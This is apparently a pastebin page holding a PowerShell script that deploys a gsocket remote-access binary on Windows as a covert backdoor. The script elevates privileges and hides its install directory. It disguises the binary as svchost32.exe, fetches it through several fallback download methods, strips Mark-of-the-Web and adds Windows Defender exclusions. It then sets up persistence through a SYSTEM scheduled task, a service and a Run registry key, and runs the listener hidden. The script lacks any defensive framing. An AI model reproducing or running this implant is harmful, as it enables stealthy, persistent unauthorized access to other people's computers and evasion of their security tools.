Guest

Untitled 1803

May 5th, 2026
5
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 18.60 KB | None | 0 0
  1. # deploy-gsocket.ps1
  2. # Compatible: Windows 7/8/10/11, Server 2008R2+
  3. # Requires: Run as Administrator
  4.  
  5. param(
  6. [string]$MachineSecret = "REPLACE_WITH_UNIQUE_SECRET",
  7. [string]$TaskName = "WindowsNetworkService",
  8. [string]$InstallDir = "C:\ProgramData\Microsoft\Network\Connections"
  9. )
  10.  
  11. # ── Elevate if not admin ───────────────────────────────────────────────────────
  12. if (-not ([Security.Principal.WindowsPrincipal] `
  13. [Security.Principal.WindowsIdentity]::GetCurrent() `
  14. ).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
  15. Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`" -MachineSecret `"$MachineSecret`"" -Verb RunAs
  16. exit
  17. }
  18.  
  19. # ── Helpers ────────────────────────────────────────────────────────────────────
  20. function Log($msg) { Write-Host "[*] $msg" }
  21. function Err($msg) { Write-Host "[!] $msg" -ForegroundColor Red }
  22.  
  23. # ── Detect architecture ────────────────────────────────────────────────────────
  24. $arch = if ([Environment]::Is64BitOperatingSystem) { "win64" } else { "win32" }
  25. Log "Architecture: $arch"
  26.  
  27. # ── Detect OS version for compatibility ───────────────────────────────────────
  28. $osVersion = [System.Environment]::OSVersion.Version
  29. $isWin7 = ($osVersion.Major -eq 6 -and $osVersion.Minor -eq 1)
  30. Log "OS Version: $($osVersion.ToString())"
  31.  
  32. # ── Create install dir (hidden) ────────────────────────────────────────────────
  33. New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null
  34. (Get-Item $InstallDir -Force).Attributes = "Hidden,System"
  35. Log "Install dir: $InstallDir"
  36.  
  37. # ── Download binary with multiple fallback methods ─────────────────────────────
  38. $BinaryPath = "$InstallDir\svchost32.exe" # blend into system look
  39.  
  40. function Download-File($url, $dest) {
  41. # Method 1: Invoke-WebRequest (PS 3.0+)
  42. try {
  43. [Net.ServicePointManager]::SecurityProtocol = `
  44. [Net.SecurityProtocolType]::Tls12 -bor `
  45. [Net.SecurityProtocolType]::Tls11 -bor `
  46. [Net.SecurityProtocolType]::Tls
  47. Invoke-WebRequest -Uri $url -OutFile $dest -UseBasicParsing -TimeoutSec 30
  48. if (Test-Path $dest) { return $true }
  49. } catch { Log "IWR failed, trying WebClient..." }
  50.  
  51. # Method 2: .NET WebClient (Win7 compatible)
  52. try {
  53. $wc = New-Object System.Net.WebClient
  54. $wc.DownloadFile($url, $dest)
  55. if (Test-Path $dest) { return $true }
  56. } catch { Log "WebClient failed, trying BITS..." }
  57.  
  58. # Method 3: BITS (Background Intelligent Transfer)
  59. try {
  60. Start-BitsTransfer -Source $url -Destination $dest -ErrorAction Stop
  61. if (Test-Path $dest) { return $true }
  62. } catch { Log "BITS failed, trying curl..." }
  63.  
  64. # Method 4: curl.exe (Win10 1803+)
  65. try {
  66. $curlPath = "$env:SystemRoot\System32\curl.exe"
  67. if (Test-Path $curlPath) {
  68. & $curlPath -L -o $dest --tlsv1.2 --silent $url
  69. if (Test-Path $dest) { return $true }
  70. }
  71. } catch { Log "curl failed..." }
  72.  
  73. return $false
  74. }
  75.  
  76. if (-not (Test-Path $BinaryPath)) {
  77. Log "Downloading gsocket binary..."
  78. if (-not (Download-File $DownloadUrl $BinaryPath)) {
  79. Err "All download methods failed. Exiting."
  80. exit 1
  81. }
  82. }
  83. Log "Binary ready: $BinaryPath"
  84.  
  85. # ── Unblock binary (removes Mark-of-the-Web) ──────────────────────────────────
  86. try { Unblock-File -Path $BinaryPath -ErrorAction SilentlyContinue } catch {}
  87.  
  88. # ── Exclude from Windows Defender ─────────────────────────────────────────────
  89. try {
  90. Add-MpPreference -ExclusionPath $InstallDir -ErrorAction SilentlyContinue
  91. Add-MpPreference -ExclusionProcess $BinaryPath -ErrorAction SilentlyContinue
  92. Log "AV exclusion added"
  93. } catch { Log "Could not add AV exclusion (non-fatal)" }
  94.  
  95. # ── Create resilient launcher batch ───────────────────────────────────────────
  96. $LauncherPath = "$InstallDir\launcher.bat"
  97. $LauncherContent = @"
  98. @echo off
  99. setlocal
  100. set GSOCKET_ARGS=-s $MachineSecret -l -i -k
  101. :loop
  102. "$BinaryPath" %GSOCKET_ARGS%
  103. timeout /t 10 /nobreak >nul 2>&1
  104. ping -n 11 127.0.0.1 >nul 2>&1
  105. goto loop
  106. "@
  107. Set-Content -Path $LauncherPath -Value $LauncherContent -Encoding ASCII
  108.  
  109. # ── Install persistence (3 methods for maximum resilience) ────────────────────
  110.  
  111. # Method A: Scheduled Task (most reliable, survives reboots + logoffs)
  112. function Install-ScheduledTask {
  113. try {
  114. $Action = New-ScheduledTaskAction -Execute "cmd.exe" `
  115. -Argument "/c `"$LauncherPath`""
  116. $Trigger1 = New-ScheduledTaskTrigger -AtStartup
  117. $Trigger2 = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) `
  118. -Once -At (Get-Date)
  119. $Settings = New-ScheduledTaskSettingsSet `
  120. -ExecutionTimeLimit ([TimeSpan]::Zero) `
  121. -RestartCount 99 `
  122. -RestartInterval (New-TimeSpan -Minutes 1) `
  123. -StartWhenAvailable `
  124. -RunOnlyIfNetworkAvailable:$false
  125. Register-ScheduledTask -TaskName $TaskName `
  126. -Action $Action -Trigger @($Trigger1, $Trigger2) `
  127. -RunLevel Highest -User "SYSTEM" `
  128. -Settings $Settings -Force | Out-Null
  129. Start-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue
  130. Log "Scheduled Task installed"
  131. return $true
  132. } catch {
  133. # Fallback for older PowerShell / Windows 7
  134. try {
  135. schtasks /create /tn $TaskName /sc onstart /delay 0001:00 `
  136. /tr "cmd.exe /c `"$LauncherPath`"" `
  137. /ru SYSTEM /f | Out-Null
  138. schtasks /run /tn $TaskName | Out-Null
  139. Log "Scheduled Task installed (legacy schtasks)"
  140. return $true
  141. } catch {
  142. Err "Scheduled Task failed"
  143. return $false
  144. }
  145. }
  146. }
  147.  
  148. # Method B: Windows Service via sc.exe
  149. function Install-Service {
  150. try {
  151. $SvcName = "WinNetSvc"
  152. $SvcPath = "$InstallDir\service_wrapper.bat"
  153. # Wrap in a simple loop for service mode
  154. Set-Content $SvcPath "@echo off`n:l`n`"$BinaryPath`" -s $MachineSecret -l -i -k`ntimeout /t 10 >nul`ngoto l" -Encoding ASCII
  155. sc.exe create $SvcName binPath= "cmd.exe /c `"$SvcPath`"" start= auto | Out-Null
  156. sc.exe failure $SvcName reset= 60 actions= restart/5000/restart/5000/restart/5000 | Out-Null
  157. sc.exe start $SvcName | Out-Null
  158. Log "Windows Service installed"
  159. return $true
  160. } catch {
  161. Err "Service install failed (non-fatal)"
  162. return $false
  163. }
  164. }
  165.  
  166. # Method C: Registry Run key (last resort, user-session only)
  167. function Install-RegistryRun {
  168. try {
  169. $regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  170. Set-ItemProperty -Path $regPath -Name $TaskName `
  171. -Value "cmd.exe /c `"$LauncherPath`"" -ErrorAction Stop
  172. Log "Registry Run key installed"
  173. return $true
  174. } catch {
  175. Err "Registry Run key failed"
  176. return $false
  177. }
  178. }
  179.  
  180. # Try all persistence methods
  181. Install-ScheduledTask
  182. Install-Service
  183. Install-RegistryRun
  184.  
  185. # ── Immediately start in background ───────────────────────────────────────────
  186. try {
  187. Start-Process -FilePath "cmd.exe" `
  188. -ArgumentList "/c `"$LauncherPath`"" `
  189. -WindowStyle Hidden -ErrorAction SilentlyContinue
  190. Log "Started background process"
  191. } catch {}
  192.  
  193. # ── Verify it's running ────────────────────────────────────────────────────────
  194. Start-Sleep -Seconds 3
  195. $running = Get-Process | Where-Object { $_.Path -eq $BinaryPath } | Select-Object -First 1
  196. if ($running) {
  197. Log "Verified: gsocket is running (PID $($running.Id))"
  198. } else {
  199. Err "Process not detected — may still be starting"
  200. }
  201.  
  202. Log "Deployment complete. Secret: $MachineSecret"
RAW Paste Data Copied